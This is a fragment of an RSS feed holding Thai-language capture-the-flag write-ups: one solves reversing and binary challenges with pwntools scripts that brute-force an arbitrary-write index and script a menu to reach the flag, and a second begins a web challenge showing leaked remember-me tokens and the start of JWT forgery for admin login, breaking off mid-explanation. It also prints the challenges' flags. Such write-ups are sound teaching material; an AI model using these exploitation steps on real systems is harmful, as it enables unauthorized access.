/><figcaption>ใช้ .NET decompiler</figcaption></figure><p>search “flag” ไปก็เลยมาเจอตรงนี้ <br>ในโค้ดมันมีการประกอบ flag จาก Program.ExtractNuclearLaunchCodes()<br>งั้นตามไปดู ExtractNuclearLaunchCodes() ต่อ</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/518/1*9CzalAenflXV5WSWAq22nA.png" /><figcaption>ExtractNuclearLaunchCodes()</figcaption></figure><p>คำพูดมากหมายความหมายไม่เอามา return</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/560/1*HdtlvoMY2cIRdtY0VuH4vQ.png" /><figcaption>ExtractClassifiedDatabaseCodes()</figcaption></figure><p>โค้ดมันดึง index 2,4,6,8,10,12,14 ใน array ของ facility_database</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/558/1*GLbyP7kzJihxSEvqLLJNag.png" /><figcaption>facility_database</figcaption></figure><p>เอามารวมกันตามมันก็จะได้เป็น 67e3e961e87dc8226c4f7f8348db9406</p><pre>def ExtractClassifiedDatabaseCodes():<br>    string = &#39;&#39;<br>    num_list = [2,4,6,8,10,12,14]<br>    facility_db = [ &quot;FACILITY_LOG_001&quot;,<br>      &quot;MAINTENANCE_REC&quot;,<br>      &quot;67&quot;,<br>      &quot;INSPECTION_DATA&quot;,<br>      &quot;e3&quot;,<br>      &quot;SAFETY_REPORT&quot;,<br>      &quot;e961e&quot;,<br>      &quot;SECURITY_AUDIT&quot;,<br>      &quot;87dc8&quot;,<br>      &quot;PERSONNEL_FILE&quot;,<br>      &quot;226c4f&quot;,<br>      &quot;RADIATION_DATA&quot;,<br>      &quot;7f8348db9&quot;,<br>      &quot;EMERGENCY_PROC&quot;,<br>      &quot;406&quot;,<br>      &quot;DECOMMISSION_LOG&quot;]<br>    for i in num_list:<br>        string += facility_db[i]<br>    return string<br><br>print(&quot;flag{&quot; + f&#39;{ExtractClassifiedDatabaseCodes()}&#39; + &#39;}&#39;)</pre><blockquote><strong>flag{67e3e961e87dc8226c4f7f8348db9406}</strong></blockquote><h3>2. Snot_doom (200 pts)</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/834/1*HXkyhkvDBhYUqOFgxuH25Q.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/449/1*m-3LttmxlEl7lUFZk77xoA.png" /><figcaption>pls be easy</figcaption></figure><p>ลองๆเล่นดู ฟังก์ชันที่ 1 เหมือนจะไม่สำคัญอะไร หรือไม่ก็เอาไว้ปริ้น flag แต่ฟังก์ชันที่ 2 คือ ฟังก์ชันที่ server ให้เราสามารถเขียนข้อมูลได้โดยที่เลือก index ได้ด้วย?</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/348/1*3f87OSLc4O6ImeavM4FTgw.png" /></figure><p>แต่ยังไม่รู้เลยว่าต้องเขียนอะไรไปตรงไหน เดี๋ยวไป decompile ดูกัน</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/564/1*-zNwiwuEaLP91h7Ccty8OQ.png" /><figcaption>main()</figcaption></figure><p>ในฟังก์ชันก์ main() ยังไม่มีอะไรน่าสังเกต แต่เหมือนมีการ เรียกใช้อยู่อีก 2 ฟังก์ชันที่น่าสนใจคือ<strong> me_me_me() </strong>กับ <strong>doom_function()</strong> เงื่อนไขคือ</p><blockquote><strong>choice = 1 =&gt; me_me_me() <br>choice = 2 =&gt; doom_function()</strong></blockquote><p>เดี๋ยวลองไปดูว่าสองฟังก์ชันนี้มันทำอะไร แต่จากตอนแรกๆที่ลองรันดูเดาว่า me_me_me() มันคงจะมีไว้ print flag คืออะไรสักอย่าง เดี๋ยวลองไปโฟกัสดูฟังก์ชันของ choice 2 ก่อนละกัน</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/546/1*YjqG59A237cB48C5wXoXww.png" /><figcaption>doom_function()</figcaption></figure><p>สรุปว่าฟังก์ชันนี้มันก็คือฟังก์ชันที่ให้เราใส่ index แล้วก็ data ที่มันจะ write ให้เรานั้นแหละ แต่ที่เป็นข้อสังเกตคือมันมีการเช็คเงื่อนไขที่จะ print_flag ด้วย!<br>โดยเงื่อนไขคือตัวแปร<strong> vuln.password</strong> ต้องเท่ากับ <strong>0xdeadb33fdeadb33f </strong>แล้วมันจะเรียก <strong>vuln.function_ptr </strong>หรือก็คือ <strong>print_flag</strong></p><p>แต่ในโค้ดค่ามันเป็น <strong>0xcafebabecafebabe</strong> ฟิกไว้มันเลยไม่เข้าเงื่อนไขสักที<br>งั้นแปลว่าหน้าที่เราคือต้องได้มาแก้อันนี้แหละ</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/375/1*uZLvtdTZvbqxj5Y65CiV5w.png" /><figcaption>./not_doom_local</figcaption></figure><p>โปรแกรมมันให้เราเลือก index ได้ เขียน value ที่เราต้องการได้ ที่เหลือก็แค่หา index ที่มันจะเป็น index ของ <strong>vuln.password</strong> แล้วก็เขียน <strong>0xcafebabecafebabe</strong> ทับใส่ เพื่อให้เข้าเงื่อนไขแล้ว print flag</p><p>แล้วคราวนี้ index ไหนละที่เราต้องเขียนทับ? 😏🤫😱</p><pre>from pwn import *<br># p = process(&#39;./not_doom_local&#39;)<br>p = remote(&#39;203.154.91.221&#39;,9955)<br>n = 1000<br>for i in range(n):<br>    p.sendlineafter(b&#39;Choice: &#39;,b&#39;2&#39;) # เลือก choice<br>    p.sendlineafter(b&#39;index: &#39;,str(i).encode()) # ส่งค่า index<br>    p.sendlineafter(b&#39;Enter data to write:&#39;,p64(0xdeadb33fdeadb33f) ) # ลองเขียนทับด้วย password ที่ถูก<br>    p.recvuntil(b&#39;Password check &#39;) <br>    respone = p.recvline()<br>    if not b&#39;failed!&#39; in respone: # เช็คว่ามันหลังจากเขียนทับไปแล้วมีอันไหนตอบกลับแปลกๆมั้ย<br>        print(f&#39;FOUND!!!!!! index = {i}&#39;)<br>        p.interactive()<br>p.interactive()</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/706/1*4MGqvpI1kSQKf6LNuWJ_eA.png" /><figcaption>certified-bruteforcer</figcaption></figure><blockquote><strong>flag{29fc7a7e4ec480becba679d59c09575f}</strong></blockquote><h3>3. cyber_user (300 pts)</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/817/1*mlQg2S1dSDWoVi079VDS3w.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/657/1*MjTeZnByNlYyupO2D_usDA.png" /><figcaption>รอบนี้มาเยอะกว่าเดิมอีก 😅</figcaption></figure><p>เดี๋ยวขอลองเล่นๆดูก่อน</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/474/1*D0244Swgg8DgFGXFflJOXQ.png" /><figcaption>choice = 6</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/393/1*SRfLq5SY8TEPAB59iW4YXA.png" /><figcaption>choice = 7</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/495/1*YlQAx1haEFvo-7s9wmazBw.png" /><figcaption>choice = 8</figcaption></figure><p>รอบนี้ก็ฟังก์ชันไรไม่รู้เยอะแยะเหมือนเดิม ต้องได้ decompile อย่างเดียว</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/195/1*5RN5Paczrl_25C-5Wf0fSw.png" /><figcaption>functions</figcaption></figure><p>ลองไล่ดูพบว่า main ก็ไม่มีอะไรมาก มันเป็นฟังก์ชันลูป input choice ของเราที่เห็นตอนรันโปรแกรม ส่วนที่เราต้องไปโฟกัสคือ <strong>choice 8 </strong>จากรูปที่เห็นคือมันเป็น choice ที่เหมือนเราจะสามารถยกระดับสิทธิ์ตัวเองได้หรืออะไรสักอย่าง</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/596/1*pimmf-ltl_Dc8gPG2ySFuw.png" /><figcaption>main() // choice 8</figcaption></figure><p>มันมีการเช็ค access_level ของเราด้วย ถ้าเรา access_level &lt; 2 มันจะ print อะไรสักอย่างมา แต่ถ้ามันมากกว่า มันจะให้เราใส่ access_level ใหม่ได้</p><p>แล้ว access_level มันมีไว้ทำอะไรล่ะ?</p><p>แปะไว้ก่อน สำรวจฟังก์ชัน main() ไป ก็เห็นว่ามันมีการสร้าง user ให้เราด้วย<br>ก็ไม่แปลกเพราะตอนเข้ามาเราก็เห็นว่ามันมี user 0 1 2 3 4 5 9 จาก choice 6<br>แต่ที่มันแปลกกว่าเพื่อนคือ user 9 ที่มันเหมือนจะมีสิทธิ์พิเศษอะไรสักอย่าง</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/508/1*r6Lv4du5SSKcg086vWJ-Iw.png" /><figcaption>main()</figcaption></figure><p>แล้วในโปรแกรมมันมี choice ที่ให้เราดู detail ของ user ได้ด้วย<br>นั่นคือ <strong>choice 3</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/360/1*5hRvFFP9Q3ZVNfcuoQEC9A.png" /><figcaption>choice 3</figcaption></figure><p>พบว่า 9 ก็เป็น admin จริงๆด้วย มีสิทธิ์ <strong>override (user ที่เหลือมีแค่ read-only)</strong></p><p>แล้วมันเอาไปทำอะไรได้?</p><p>คำตอบนั้นถูกเฉลยที่ <strong>system_override()</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/1*kdyEKYHbm1DihXRNfIIiJQ.png" /><figcaption>system_override()</figcaption></figure><p>จะเห็นว่าในฟังก์ชันนี้มันมีการเช็คทั้ง <strong>access_level </strong>ที่ต้องมากกว่า 2<br>กับ <strong>authentication_attemps </strong>ที่ต้องมากกว่า 0x14 (dec = 20) โดยก่อนที่จะมาเงื่อนไขนี้ต้องผ่านเงื่อนไข system_override::overide_counter == 5 ก่อนด้วย</p><p>แล้วฟังก์ชันนี้มันสำคัญยังไง?</p><p>ตัวที่สำคัญจริงๆคือ <strong>emergency_lockdown() เพราะคือ function ที่จะ print flag</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/600/1*fs4Xtgmt0ZhSE078ZY2qrQ.png" /><figcaption><strong>emergency_lockdown()</strong></figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*tsqozPxogXiSOLa0vN8A3w.png" /><figcaption>classified_info</figcaption></figure><p>พอถึงตอนนี้ก็เป้าหมายชัดเจนละ เงื่อนไขที่เราต้องทำ คือ<br>1. <strong>system_override::overide_counter == 5<br>2. accress_level &gt; 2<br>3. authentication_attemps &gt; 0x14</strong></p><p>ลืมอย่างนึง เรารู้ว่ามันมาจากฟังก์ชัน system_override() แต่ยังไม่รู้เลยว่ามันถูกเรียกมาได้ยังไง → หา references</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/591/1*7iA8w0T763-9iAJwg1rddQ.png" /><figcaption>show_system_status()</figcaption></figure><p>หลังจากตาม references มาก็พบว่าไอ้ system_override() นี่มันจะถูกเรียกจาก <strong>show_system_status()</strong> ซึ่ง <strong>show_system_status()</strong> ก็ถูกเรียกจาก choice 7ของฟังก์ชัน <strong>main()</strong> อีกที</p><blockquote><strong>choice 7→ show_system_status → system_override → FLAG!!!</strong></blockquote><p>แต่เราก็ต้องทำให้เงื่อนไขมันผ่านก่อนนะ ไปดูวิธีกัน ก็ที่เราต้องการจะเป็น</p><h4>1. overide_counter</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/560/1*aIDyn3f5Q1QKxsX5a7oADw.png" /><figcaption>เพิ่ม override counter ด้วยการ excute function ของ user admin (9)</figcaption></figure><h4>2. authentication_attemps</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/455/1*IpqaJafH2V5MKADTdxoyBg.png" /><figcaption>เพิ่ม authentication_attemps ด้วยการสร้าง user</figcaption></figure><h4>3.accress_level</h4><p>อันนี้หายังไงก็หาไม่เจอ เลยลองไปไล่ดู code ที่ decompile มันมาอีกรอบ ก็ไปเจอ</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/527/1*iJj71XiWl5jqtE04lnRneQ.png" /><figcaption>security_compliance_check()</figcaption></figure><p>ฟังก์ชันนี้เป็นฟังก์ชันที่มันมาสารถเพิ่ม <strong>access_level </strong>เราได้ ซึ่งถ้าเงื่อนไขถูกต้องมันจะให้ <strong>access_level = 3</strong> เลยซึ่งเพียงพอที่จะเอาไปใช้เพื่อ print flag</p><p>เงื่อนไขมันคือ violations ต้องมากกว่า 0 หรือก็คือ ต้องทำให้ verify_profile_integrity() คืนค่าเป็น 0 (มันลูปเช็คทุก user เพราะงั้นถ้ามี user ใด user นึงเข้าเงื่อนไขที่จะทำให้ return 0 ก็ถือว่าได้แล้ว)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/615/1*EP9TUf94pOz5ULMczx_LfQ.png" /><figcaption>verify_profile_integrity()</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/167/1*HqMYH_q38HWsudS7ZfDwDQ.png" /><figcaption>เป้าหมายที่เราอยากให้เป็น 0</figcaption></figure><p>สรุปว่าเงื่อนไขที่จะทำให้มัน return เป็น 0 ทำได้หลายแบบมาก แต่ที่ผมเจอคือ</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/739/1*tzscKRj0FM7-f2X_9iw1HA.png" /><figcaption>main()</figcaption></figure><p>ใน main() choice ที่ 4 ของโปรแกรม ซึ่งหลังจากมันทำอะไรของ user มันเสร็จมันจะตั้งค่า active = 0 กลับไปเช็คที่ verify_profile_integrity() เราก็จะเห็นอยู่เงื่อนไขหนึ่ง ที่ถ้ามันเจอ user_registry[user_id].active = 0 มันก็จะ return iVar2 = 0 ให้เรา</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/431/1*Qh42ZjWZZIZsfjdk5WTQ9A.png" /><figcaption>verify_profile_integrity()</figcaption></figure><p>นั่นแปลว่า ถ้าเราใช้ <strong>choice 4</strong> แล้วไปรัน <strong>choice 7 </strong><br>ผลก็คือ เราจะได้<strong> access_level = 3 </strong>ซึ่งทำให้เราพร้อมจะเอา flag แล้ว</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/627/1*X7y4V8g9efwD7C51Km2aYA.png" /><figcaption>access_level = 3</figcaption></figure><p>ตอนนี้ทุกอย่างเราพร้อมแล้ว เหลือแค่ไปรัน overide_counter รอบที่ 5 เราก็จะได้ flag มาครอง</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/647/1*BySayGloS0mKp-uy_PgQEg.png" /></figure><p>ส่วน password ก็อยู่ใน <strong>emergency_lockdown() นั่นแหละ</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/690/1*M9f-3_rCYibYoEkv3s7uiQ.png" /><figcaption>P@ssw0rd</figcaption></figure><pre>from pwn import *<br># p = process(&#39;./cyber_user_local&#39;)<br>p = remote(&#39;203.154.91.221&#39;,8897)<br># ทำให้  Auth Attempts &gt;= 20<br>for i in range(15):<br>    p.sendline(b&#39;1&#39;)<br>    p.sendline(b&#39;6&#39;)<br>    p.sendline(b&#39;4&#39;) # ลบ user <br>    p.sendline(b&#39;6&#39;)<br># call 7 to gain access_level<br>p.sendline(b&#39;7&#39;)<br>for i in range(5): # make overide_counter to 5<br>    p.sendline(b&#39;5&#39;)<br>    p.sendline(b&#39;9&#39;)<br>p.recvuntil(b&#39;password to access classified data: &#39;) <br>p.sendline(b&#39;P@ssw0rd&#39;) # sendpassword<br>p.interactive()</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/705/1*ORkPMsu4rJ5WMNGBl4ltOw.png" /><figcaption>finally!</figcaption></figure><blockquote><strong>flag{38769daa7cd569e7580baa3d020c1245}</strong></blockquote><p>จบแล้วคับงานนี้ วันทำจริงเว็บก็ล่ม โจทย์ก็ไม่ได้ดาวโหลดไว้ ทำโจทย์ก็ล่ก ประสบการณ์จัดเลยคับ ยินดีกับคนที่ผ่านเข้ารอบด้วยนะคับ รอเชียร์ทีมภาคอีสานอยู่ เดี๋ยวปีหน้ามาแก้ตัว 🫰🫰🫰</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/408/0*63epd410n1Q-E0lY" /><figcaption>pov : คนใน discord กลางตอน server down</figcaption></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=b504347c762f" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[STH Mini Web CTF 2025 Write-up [Scammer Gang Portal] — by dekcart_i]]></title>
            <link>https://medium.com/@pammer434/sth-mini-web-ctf-2025-write-up-scammer-gang-portal-by-dekcart-i-3a5cb291c259?source=rss-915ede29ab23------2</link>
            <guid isPermaLink="false">https://medium.com/p/3a5cb291c259</guid>
            <dc:creator><![CDATA[d3kc4rt_1]]></dc:creator>
            <pubDate>Fri, 11 Apr 2025 09:32:15 GMT</pubDate>
            <atom:updated>2025-04-11T09:40:09.809Z</atom:updated>
            <content:encoded><![CDATA[<h3>STH Mini Web CTF 2025 Write-up [Scammer Gang Portal] — by dekcart_i</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*vEAaEP44oeyv9GdT" /></figure><p>สวัสดีครับผม chill guy วันนี้ผมจะมาอธิบายวิธีการที่ผมใช้ในการหา Flag ในโจทย์การแข่งขัน CTF ของรายการ STH Mini Web CTF 2025 ครั้งที่ 1 ที่จัดขึ้นโดย บจก. สยามถนัดแฮก นะครับ โดยผมจะพยายามอธิบายวิธีคิด,อธิบายโจทย์,เครื่องมือที่ใช้ และทางออกที่ผมได้นะครับ(ความลำบากของมือใหม่อย่างผม) // รายการนี้เป็นแบบ online ที่ เปิดให้ใครทำก็ได้โดยไม่ต้องสมัครแถมยังมีเวลาให้แก้โจทย์เหลือๆ (25 มีนาคม — 25 เมษายน) เพราะงั้นก็ chill chill คับไม่รีบร้อน (ทำวันหนึ่งเว้นคิดไปสิบวัน)</p><pre>พร้อมลุยกันหรือยัง? กับการแข่งขัน STH Mini Web CTF 2025 ครั้งที่ 1 🔒💻<br>💡มาร่วมพิสูจน์ทักษะ 🔍แกะรอยช่องโหว่ 🏆ชิงรางวัลสุดพิเศษ <br>กับการแข่งขันด้านความมั่นคงปลอดภัยไซเบอร์ จัดโดย บจก. สยามถนัดแฮก (STH) <br>ให้บริการด้าน Cyber Security ระดับแนวหน้า นี่คือโอกาสของคุณที่จะได้ทดสอบฝีมือด้าน Web Security <br>กับโจทย์ข้อแรก ในครั้งที่ 1 นี้ เราจะเริ่มกันแบบง่าย ๆ ก่อน <br>มาลองพิสูจน์ความสามารถในการเจาะระบบและรับมือกับภัยคุกคามออนไลน์กัน!<br>เข้าร่วมกิจกรรมได้ฟรี! ง่าย ๆ โดยไม่ต้องสมัคร⚡<br>📝 รายละเอียดการร่วมกิจกรรม:<br>- รับโจทย์การแข่งขันผ่านช่องทาง Facebook, Instagram, X, และ LinkedIn ของ STH<br>- เขียน Write-up อธิบายวิธีแก้โจทย์ลง Blog สาธารณะ<br>- ส่ง URL ของบทความมาที่ Email: event@sth.sh<br>🔗 เว็บโจทย์การแข่งขัน: https://web1.ctf.p7z.pw<br>เป้าหมายการเจาะระบบ: <br>- ทำการโจมตีเว็บโจทย์การแข่งขัน เพื่อหาข้อความลับ ที่เรียกว่า Flag<br>โดย Flag จะมีรูปแบบ เช่น STH1{cff940beed74db5e1c7c63007223a6e6}<br>- เข้าสู่ระบบเป็นสิทธิ์ผู้ดูแลระบบ (Flag 1)<br>- ทำการพิมพ์เงินออกจากระบบ (Flag 2)<br>🏆 สำหรับ Write-up ที่เขียนได้ถูกใจทีมงาน STH มากที่สุด รับไปเลยของรางวัลสุดพิเศษ! Grab Food (E-Voucher) มูลค่า 500 บาท และของที่ระลึกสุดพิเศษจาก HackTheBox<br>- นักศึกษา จำนวน 2 รางวัล <br>- บุคคลทั่วไป จำนวน 3 รางวัล<br>🗓 เริ่มส่งคำตอบได้ตั้งแต่: 25 มีนาคม - 25 เมษายน 2568 เวลา 18.00 น.<br>📢 อย่ารอช้า! ชวนเพื่อน ๆ มาร่วมพิสูจน์ฝีมือกันได้เลย!<br>#SiamThanatHack #STH #สยามถนัดแฮก #Cybersecurity #ITSecurity #PenetrationTesting #STHMiniWebCTF2025</pre><p>โจทย์จะให้ website เป้าหมายมา โดยที่เราจะหา flag ได้จาก 1.เข้าสู่ระบบเป็นสิทธิ์ผู้ดูแลระบบ(Flag 1) และ 2.ทำการพิมพ์เงินออกจากระบบ(Flag 2) ก็แปลว่าเว็บนี้มี flag ให้เราหาอยู่ 2 flag นั้นเองคับมาเริ่มกันเลย</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/761/1*28iIi7iGiHzBJhDRapNJAg.png" /><figcaption>Website เป้าหมาย</figcaption></figure><p>เริ่มต้นเข้ามาที่เว็บเป้าใหม่เราจะพบกับหน้า login ที่มีให้กรอก username , password และมีฟังก์ชัน remember me อยู่ด้วย ในส่วนนี้เราจะไม่เห็นหน้า register หรือ โจทย์ไม่ได้ให้รายละเอียด username / password เรามา ในส่วนนี้เราอาจจะต้องหารายละเอียดจาก path ลับ หรือ source code แต่ผมเชื่อว่าหลายๆคนที่เคยทำเว็บทำ login หรือ เล่น ctf บ่อยๆจะลองใส่ username : test / password : test เพราะ user มันมีจริงไม่จริงไม่รู้แต่อยากลองเทสระบบ login ว่ามันทำงานแบบไหน แต่ผลที่ได้ก็คือ user “test” ดันมีอยู่จริงๆซะงั้น!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*g6ea7WQ63qPjoDm8NGuwkQ.png" /><figcaption>/index.php</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*H7NLonEpD6zunKXgjMpLkg.png" /><figcaption>/userinfo.php</figcaption></figure><p>จากรูปผมสามารถผ่านหน้า login มาได้ด้วย user test ที่เดามั่วๆมา555 (เอาจิงตอนผมทำเสร็จก็มาเช็คหน้า index.php ใหม่ก็พบว่าถ้าเรากด view source เราก็จะเจอคอมเมนต์ user test ไว้อยู่เหมือนกัน)</p><p>ในหน้า userinfo.php เราะจะพบกับ information ของ user ที่มีการ query Username / Role และ Status มาโชว์ในหน้าเว็บ ซึ่งยังไม่ได้เบาะแสอะไรเพิ่มเติมเกี่ยวกับ admin ผมเลยลองตรวจสอบ source code เพื่อหาเบาะแสและนี่คือสิ่งที่น่าสนใจที่ผมเจอ</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/718/1*lJDA5HvQAOb7ZmdvagG8YA.png" /><figcaption>script.js</figcaption></figure><p>มี javascript มาให้ดูซะงั้น แถมยังมีฟังก์ชัน Fecth user จากหลังบ้านให้ดูอีกตั้งหากไม่รอช้าครับเราไปทดสอบใช้ฟังก์ชันกัน โดยที่ browser ของเราเราสามารถทดสอบรัน Javascript ของเว็บไซต์ได้ที่ dev tool ส่วน console นั่นเองครับ</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/822/1*68rSl8Tmip50fuDYWA7cdg.png" /><figcaption>ทดสอบรันฟังก์ชัน debug</figcaption></figure><p>จากรูปผมได้ลองรันฟังก์ชัน javascript ที่เราได้มา ผลคือเราสามารถรันมันได้ปกติทำให้เราได้ข้อมูลมาเพิ่มเติม โดยรายละเอียดของแต่ละฟังก์ชันคือประมาณนี้คับ<br><strong><em>debugFecthUserTest ()</em></strong><em>— &gt; </em>ปริ้น data ของ user ชื่อ test<em><br></em><strong><em>debugFecthAllUsers() </em></strong><em>— &gt;</em> ปริ้น username ของ user ทั้งหมด</p><p>จากข้อมูลทำให้เราเห็นว่ามีข้อมูลบางอันที่ไม่ได้ถูก query มาโชว์ในหน้าเว็บนั่นคือ remmeber_me_token (ดูเหมือนจะเป็น token ที่่ใช้ในการจดจำการเข้าสู่ระบบ ซึ่งถ้าย้อนกลับไปดูหน้า index.php ก็จะพบกับปุ่มกด remember me อยู่ด้วย) และ จากฟังก์ชันfecth all users ทำให้เราพบกับ username ของ admin นั่นก็คือ “admin-uat” นั่นเอง</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/822/1*2XXAgn3MUHHV9_mLextA7g.png" /></figure><p>และเพราะมี remember me token ให้ใช้ผมจึงลองกลับไปที่หน้า index.php เพื่อ login เข้ามาใหม่โดยที่รอบนี้ผมจะติ๊ก remember me ด้วย เพื่อจะไปหาอีกทีว่า remember me token ตัวนี้มันถูกเก็บไว้ที่ไหน (ปกติแล้วมักจะมีใน cookies)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/856/1*HOgKRBq61z5pTiU2T6y8cg.png" /><figcaption>login uesr : test / test / remember_me on</figcaption></figure><p>เมื่อลอง login แบบกด remember me แล้วเราจะพบกับ cookies ที่มีเพิ่มเข้ามาอันหนึ่งนั่นก็คือ remember_me โดยในที่นี้ผม login ของ user <strong>test </strong>ที่มี remember_me_token = b81943ba-d1c5–495a-8427–4711c39256bf<br>แต่ value ใน remember_me นั่นไม่ได้เก็บเป็นค่า token นี้ตรงๆ แต่เป็นค่าแบบ JWT หรือก็คือ JSON Web Tokens (รูปแบบหนึ่งของ Token ที่ใช้ในการแลกเปลี่ยนข้อมูลระหว่างสองระบบอย่างปลอดภัย โดยข้อมูลนั้นจะถูกเซ็นด้วยดิจิทัลลายเซ็น digital signature เพื่อป้องกันการถูกแก้ไขหรือปลอมแปลง) ถ้าถามว่าแล้วมันมีประโยชน์ยังไง คำตอบก็คือ token ตัวนี้ถ้าเรานำไปใส่ใน cookies ที่หน้า index.php เราไม่จำเป็นจะต้องมี password ของ user นั้นเพื่อจะเข้าสู่ระบบเพราะเราสามารถใช้ตัว remember_me token นี้เข้าสู่ระบบได้เลย!</p><blockquote>eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ0b2tlbiI6ImI4MTk0M2JhLWQxYzUtNDk1YS04NDI3LTQ3MTFjMzkyNTZiZiJ9.Rlk_a69lx16hNhwn4nBfRxhiMGmEDoPIcxfr1_7JdH8</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-GizHaS5f1QvtOCJ6hLnxQ.png" /><figcaption>ที่ cookie ทำการ add remember_me และใส่ jwt ที่เราได้มา</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*GCRR31N19p9xxpeExihY7w.png" /><figcaption>กดรีเฟรชหน้าเพื่อเป็นการเข้าสู่่ระบบผ่าน remember me token</figcaption></figure><p>จากรูปภาพเป็นการเข้าสู่ระบบของ user test โดยไม่ใช้รหัสผ่าน แต่ที่เราต้องการไม่ใช่ระบบของ user test เราต้องการของ admin-uat ส่วนนี้ให้กลับไปดูที่ script.js อีกรอบ จะพบว่าจิงๆแล้วเราสามารถดู data ของ user อื่นที่ไม่ใช่ test อย่างเดียวได้ด้วย! ซึ่งนั่นหมายความว่าเราจะสามารถดู token ของ admin-uat ได้ แล้วเราจะนำ token นั้นมาแปลงเป็น JWT เพื่อใช้ในการเข้าสู่ระบบอีกที ทำยังไงไปดูกัน</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/387/1*SE5XXdPaOGKEU2_3tuKjPw.png" /><figcaption>script.js</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/879/1*qgywrJhyUsgNWNDrTNHM4w.png" /><figcaption>get_userinfo&amp;user=test</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/805/1*iGBtGNqsB-Ml_26_U08mqg.png" /><figcaption>เปลี่ยน user=test -&gt; user=admin-uat</figcaption></figure><p>ตอนนี้เราได้ token ของ admin มาแล้ว ต่อไปเราต้องหาวิธีแปลง token ขอ admin ให้เป็น JWT กัน โดยก่อนอื่นมาวิเคาะห์ JWT กันก่อนจาก JWT ของ user “test” ที่เรามี</p><blockquote>โครงสร้างของ JWT ) : X.Y.Z<br>X = Header (ส่วนหัว) / บอกว่าใช้การเข้ารหัสแบบไหน เช่น HS256</blockquote><blockquote>Y = Payload (ข้อมูล) / ข้อมูลที่เก็บ</blockquote><blockquote>Z = Signature (ลายเซ็น) เอา Header + Payload มาเข้ารหัสด้วย secret key เพื่อป้องกันการปลอม</blockquote><p>JWT ของ user test = <strong>eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ0b2tlbiI6ImI4MTk0M2JhLWQxYzUtNDk1YS04NDI3LTQ3MTFjMzkyNTZiZiJ9.Rlk_a69lx16hNhwn4nBfRxhiMGmEDoPIcxfr1_7JdH8</strong><br>เราจะแยกออกไปได้ดังนี้<br>Header = eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9<br>Payload = eyJ0b2tlbiI6ImI4MTk0M2JhLWQxYzUtNDk1YS04NDI3LTQ3MTFjMzkyNTZiZiJ9<br>Signature = Rlk_a69lx16hNhwn4nBfRxhiMGmEDoPIcxfr1_7JdH8</p><p>เราสามารถนำส่วนของ Header และ Payload ไป decrypt ด้วย base64 ได้เพื่อดูข้อมูลของ JWT โดยเราจะได้ข้อมูลรายละเอียดของ JWTดังนี้ <br>// ผมใช้ cyberchef ในการ decrypt</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/769/1*fLvt3kc3H1bA1r8pMbRUFA.png" /><figcaption>decrypt header</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/982/1*ZShRxWGL-uHyrApIwhuiUQ.png" /><figcaption>decrypt payload</figcaption></figure><p>ตรงนี้เราได้ข้อมูล JWT นี้ใช้ HS256 และ token นั่นถูกเก็บไว้ใน payload ซึ่งถ้าสั่งเกตุดูก็จะพบว่ามันตรงกันกับที่เราได้มาเลย ตรงนี้ที่ต้องทำคือเราจะแปลงค่า token นี้ให้เป็น token ของ admin-uat แล้วนำไปใช้ในการ login <br>แต่!! 